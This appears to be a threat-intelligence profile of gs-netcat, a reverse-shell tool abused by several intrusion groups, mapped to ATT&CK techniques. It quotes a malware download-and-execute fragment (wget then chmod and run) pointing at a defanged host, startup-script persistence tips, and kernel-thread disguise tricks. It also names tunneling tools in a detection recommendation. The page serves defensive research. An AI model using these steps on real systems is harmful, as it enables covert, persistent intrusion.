gs-netcat
- Type
- Reverse shell
- Capabilities
- PersistencePost exploitationDefense evasion
- Platforms
- LinuxWindows
gs-netcat is a dual-use networking utility from the Global Socket toolset that threat actors abuse for reverse-shell access, tunneling, and persistent remote administration. It communicates through the Global Socket Relay Network (GSRN), using a configured shared password to connect endpoints, including systems located inside internal networks. Although not inherently malicious, it is deployed as a backdoor in multiple intrusion campaigns affecting Linux and Windows systems.
The China-nexus threat group Velvet Ant deployed a modified gs-netcat reverse shell on internet-facing Linux servers during Operation Highland. That variant masqueraded as a kernel thread to conceal its presence. The AryStinger botnet’s Standard variant deploys gs-netcat to maintain remote access to compromised NAS devices. Larva-24010 has also distributed gs-netcat through a trojanized VPN installer targeting South Korean VPN users, establishing persistence through Windows scheduled tasks. Other intrusions have installed the tool after compromising public-facing web applications to retain access to affected servers.
Its role in these operations is primarily post-compromise remote access and persistence; credential theft, database extraction, and other campaign activities may be performed by separate tools.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Alert on tunneling and proxy tools from the operator’s toolkit, such as gost, gs-netcat, yuze, suo5 and Neo-reGeorg.
On exposed servers, the group deployed a modified GS-Netcat reverse shell. They renamed the binary “auditdb” and hid it in /usr/sbin/.
Techniques & procedures
13 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
1 technique
Initial Access
Both versions establish persistent backdoors on infected devices, either through a lightweight SSH server called dropbear or through gs-netcat, giving attackers long-term remote access.
Execution
2 techniques
Execution
On exposed servers, the group deployed a modified GS-Netcat reverse shell.
Velvet Ant deployed a modified version of GS-Netcat on internet-facing servers to establish a reverse shell to a remote C2 server.
Persistence
4 techniques
Persistence
Retain access after reboot... Use any of the start-up scripts, such as /etc/rc.local ... Alternatively and if you do not have root privileges then just append the following line to the user's ~/.profile file.
For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.
Both versions establish persistent backdoors on infected devices, either through a lightweight SSH server called dropbear or through gs-netcat, giving attackers long-term remote access.
For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.
Privilege Escalation
3 techniques
Privilege Escalation
Retain access after reboot... Use any of the start-up scripts, such as /etc/rc.local ... Alternatively and if you do not have root privileges then just append the following line to the user's ~/.profile file.
For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.
For persistence, the malware abused systemd unit files on newer hosts and SysVinit scripts on older ones.
Stealth
2 techniques
Stealth
They renamed the binary “auditdb” and hid it in /usr/sbin/. To slip past analysts, it even disguised itself as the kernel thread “[khubd]”.
GSocket / gs-netcat ... déguisé en [kcached] et gs-dbus
Command and Control
5 techniques
Command and Control
AryStinger supports multiple task types, including internal/external network scanning, traffic tunnel forwarding/proxying... TUNNEL (Tunnel Penetration) Provides tunnel functionality, used to proxy or forward network traffic.
Uses the Global Socket Relay Network to connect TCP pipes... Once connected the library then negotiates a secure TLS connection(End-2-End).
Its function is to first obtain the latest version number from the download server hgodpcx[.]ajb8.com, then download and execute the corresponding AryStinger sample... wget -q -O "${BIN_PATH}" "${SRC_URL}" ... chmod +x "${BIN_PATH}" ... "${BIN_PATH}" -b "${CTX}"
the Standard version achieves it by downloading and deploying gs-netcat through main_installGSocket.
The operator ... used multiple tunneling tools to facilitate access to internal networks through compromised Exchange servers.
Recent activity
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.